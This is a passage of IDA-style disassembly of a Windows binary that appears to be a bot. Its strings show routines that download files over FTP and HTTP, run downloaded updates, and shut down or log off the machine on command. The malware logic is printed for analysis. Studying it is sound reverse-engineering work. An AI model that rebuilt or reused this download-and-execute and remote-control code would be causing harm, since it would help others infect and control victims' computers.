var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2820000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444ED0 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F30
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_449896
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		push	1
		mov	byte_4E8E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FD4
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28B0C4Bh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 28B0C4Bh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28B0C4Bh


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
